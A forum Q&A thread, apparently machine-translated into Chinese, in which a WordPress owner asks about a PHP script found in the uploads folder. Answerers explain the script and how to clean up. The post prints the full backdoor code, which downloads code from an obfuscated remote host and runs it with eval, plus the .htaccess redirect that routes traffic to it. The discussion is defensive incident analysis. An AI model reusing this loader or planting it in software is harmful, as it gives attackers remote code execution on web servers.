这个脚本在做什么(可以在Wordpress上传文件夹中找到)


What is this script doing (found in Wordpress uploads folder)

我在共享主机上的Wordpress上传文件夹中发现了这个脚本。我不知道它是怎么做到的,我一直在使用Wordpress的最新版本和我所有的插件。

该脚本已经分散到我的上传文件夹中的所有可能的子文件夹中,并带有一个helper.htaccess文件,用于将流量引导到此脚本。它只在上传文件夹中找到,没有外部文件。

你能帮我解码这个脚本在做什么吗?如果它做了什么坏事,我该如何从中恢复?

这是helper.htaccess文件,

Options -MultiViews
ErrorDocument 404 //wp-content/uploads/54580.php

这是主脚本(或在pastebin中),

error_reporting(0);
$a = (isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);
$b = (isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME);
$c = (isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI);
$d = (isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);
$e = (isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : $QUERY_STRING);
$f = (isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);
$g = (isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT);
$h = (isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);
$i = (isset($_SERVER["SCRIPT_FILENAME"]) ? $_SERVER["SCRIPT_FILENAME"] : $SCRIPT_FILENAME);
$j = (isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ? $_SERVER["HTTP_ACCEPT_LANGUAGE"] : $HTTP_ACCEPT_LANGUAGE);
$z = "/?" . base64_encode($a) . "." . base64_encode($b) . "." . base64_encode($c) . "." . base64_encode($d) . "." . base64_encode($e) . "." . base64_encode($f) . "." . base64_encode($g) . "." . base64_encode($h) . ".e." . base64_encode($i) . "." . base64_encode($j);
$f = base64_decode("cnNzbmV3cy53cw==");
if (basename($c) == basename($i) && isset($_REQUEST["q"]) && md5($_REQUEST["q"]) == "ceaa2f454d1892ee1d5c3f777e07144d") $f = $_REQUEST["id"];
if ($c = file_get_contents(base64_decode("aHR0cDovLzdhZHMu") . $f . $z)) eval($c); 
else if ($c = file_get_contents(base64_decode("aHR0cDovLzcu") . $f . $z)) eval($c); 
else {
    $cu = curl_init(base64_decode("aHR0cDovLzcxLg==") . $f . $z);
    curl_setopt($cu, CURLOPT_RETURNTRANSFER, 1);
    $o = curl_exec($cu);
    curl_close($cu);
    eval($o);
}
;
die(); 

首先,它关闭错误报告,确保如果出现问题,没有人会看到错误消息。

然后,它似乎从另一台服务器下载了一个文件。

该服务器的IP地址被混淆了一点,并对碎片进行了base64编码。if语句的复杂意大利面条代码将其重新组合为(可能)有效的服务器IP地址。

如果它可以下载该文件,它将对其求值(),这意味着它将把它解释为PHP并运行它

你能帮我解码这个脚本在做什么吗

它从其他服务器加载一个有效负载并执行它

如果它做了什么坏事,我怎么能从中恢复过来?

删除脚本。恢复未受污染的站点备份。与有此类问题经验的人取得联系,并对您的网站进行审查,为未来提供更好的指导。

它正在调用一个远程url,可能用于发送信息。7ads.rssnews.com或7.rssnews.com

我认为,你应该从你的网络服务器上删除这个文件,它似乎不安全。

从根文件夹中的.htaces中删除此行

ErrorDocument 404 //wp-content/uploads/54580.php

删除名称为54580.php 的所有文件

仅对wp内容/上传授予写入公共权限

为其余部分授予公共读取权限。

它现在的作用。。。它正在向rssnews(dot)ws 发送一些信息

还可以看看哪些插件能够将文件上传到uploads目录中。那里有一个文件被用来上传文件,仅仅因为你的所有插件都是最新的,并不意味着它们被攻击者利用。

一些插件编码人员没有保持他们的插件最新,即使已经发现了漏洞。一些插件目前正在被利用,但尚未公开利用,还有一些问题Wordpress自己认为还不够糟糕,无法解决。示例:http://goo.gl/EfMTJ

此外,如果你以前被黑客入侵过,你可能错过了一个外壳代码(后门文件),它也可能仍然存在于你的网络文件夹中。使用上传的原因可能有两个,一个是它可能可由Web服务器写入,另一个是因为它是插件和主站点用来上传文件的公用文件夹。